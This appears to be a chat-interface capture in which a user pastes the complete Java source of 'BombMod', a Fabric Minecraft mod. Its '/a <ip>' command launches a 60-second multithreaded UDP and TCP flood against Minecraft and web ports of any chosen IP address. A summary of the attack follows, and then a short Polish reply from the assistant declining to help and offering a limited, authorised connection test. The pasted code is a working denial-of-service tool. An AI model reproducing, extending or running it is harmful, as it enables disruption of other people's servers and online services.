📎
1 file
4,009 chars
📄
pasted-code-1794691667349.txt
txt
96 lines
▶
pasted-code-1794691667349.txt
txt
96 lines
package com.example.bombmod;
import com.mojang.brigadier.arguments.StringArgumentType;
import net.fabricmc.api.ModInitializer;
import net.fabricmc.fabric.api.command.v2.CommandRegistrationCallback;
import net.minecraft.server.command.CommandManager;
import net.minecraft.text.Text;
import java.io.OutputStream;
import java.net.*;
public class BombMod implements ModInitializer {
// ==== USTAWIENIA (mozesz zmienic) ====
private static final int DURATION_MS = 60_000; // 60 sekund
private static final int UDP_THREADS = 48; // watki UDP
private static final int TCP_THREADS = 48; // watki TCP
private static final int PKT_SIZE = 1400;
// Porty na ktore wali (Minecraft + popularne)
private static final int[] PORTS = { 25565, 25566, 19132, 80, 443 };
@Override
public void onInitialize() {
CommandRegistrationCallback.EVENT.register((dispatcher, registry, env) ->
dispatcher.register(CommandManager.literal("a")
.then(CommandManager.argument("ip", StringArgumentType.string())
.executes(ctx -> {
String ip = StringArgumentType.getString(ctx, "ip");
ctx.getSource().sendFeedback(
() -> Text.literal("§c💣 TOTAL BOMB -> " + ip + " §7(60s, UDP+TCP)"),
false
);
bomb(ip);
return 1;
})
)
)
);
System.out.println("[BombMod] gotowy - /a ");
}
private void bomb(String ip) {
InetAddress addr;
try {
addr = InetAddress.getByName(ip);
} catch (Exception e) {
System.out.println("[BombMod] zle IP: " + ip);
return;
}
System.out.println("[BombMod] START " + ip + " | UDP=" + UDP_THREADS
+ " TCP=" + TCP_THREADS + " | " + (DURATION_MS / 1000) + "s");
// ---- UDP flood: kazdy watek na inny port ----
for (int i = 0; i < UDP_THREADS; i++) {
final int port = PORTS[i % PORTS.length];
final int id = i;
new Thread(() -> {
try (DatagramSocket sock = new DatagramSocket()) {
sock.setSendBufferSize(4 * 1024 * 1024);
byte[] payload = new byte[PKT_SIZE];
new java.util.Random().nextBytes(payload);
DatagramPacket pkt = new DatagramPacket(payload, PKT_SIZE, addr, port);
long end = System.currentTimeMillis() + DURATION_MS;
long sent = 0;
while (System.currentTimeMillis() < end) {
sock.send(pkt);
sent++;
}
System.out.println("[BombMod] UDP#" + id + " ->" + port + " " + sent + " pkt");
} catch (Exception ignored) {}
}).start();
}
// ---- TCP SYN flood: laczymy sie i od razu zamykamy ----
for (int i = 0; i < TCP_THREADS; i++) {
final int port = PORTS[i % PORTS.length];
final int id = i;
new Thread(() -> {
long end = System.currentTimeMillis() + DURATION_MS;
long sent = 0;
while (System.currentTimeMillis() < end) {
try (Socket s = new Socket()) {
s.connect(new InetSocketAddress(addr, port), 2000);
OutputStream out = s.getOutputStream();
out.write(new byte[512]);
out.flush();
sent++;
} catch (Exception ignored) {}
}
System.out.println("[BombMod] TCP#" + id + " ->" + port + " " + sent + " conn");
}).start();
}
}
}
KodariNov 14 at 9:28 pm 1
BombMod
A Fabric mod for Minecraft 1.21.4 that adds a "/a <ip>" command capable of launching a combined UDP and TCP flood attack against a specified IP address. The mod spawns 48 UDP threads sending 1400-byte random payloads and 48 TCP threads opening connections to common Minecraft and web ports (25565, 25566, 19132, 80, 443) for a configurable 60-second duration. It includes adjustable thread counts, packet sizes, and target ports, with console logging of per-thread packet/connection counts.
Nie pomogę tworzyć moda, który flooduje wskazany adres ruchem UDP/TCP — to może zakłócić działanie cudzych usług. Mogę pomóc przerobić go na bezpieczny, ograniczony test połączenia z serwerem, do którego masz uprawnienia.
Kodari can make mistakes. Review important code before using.
Files
No files in this session
Code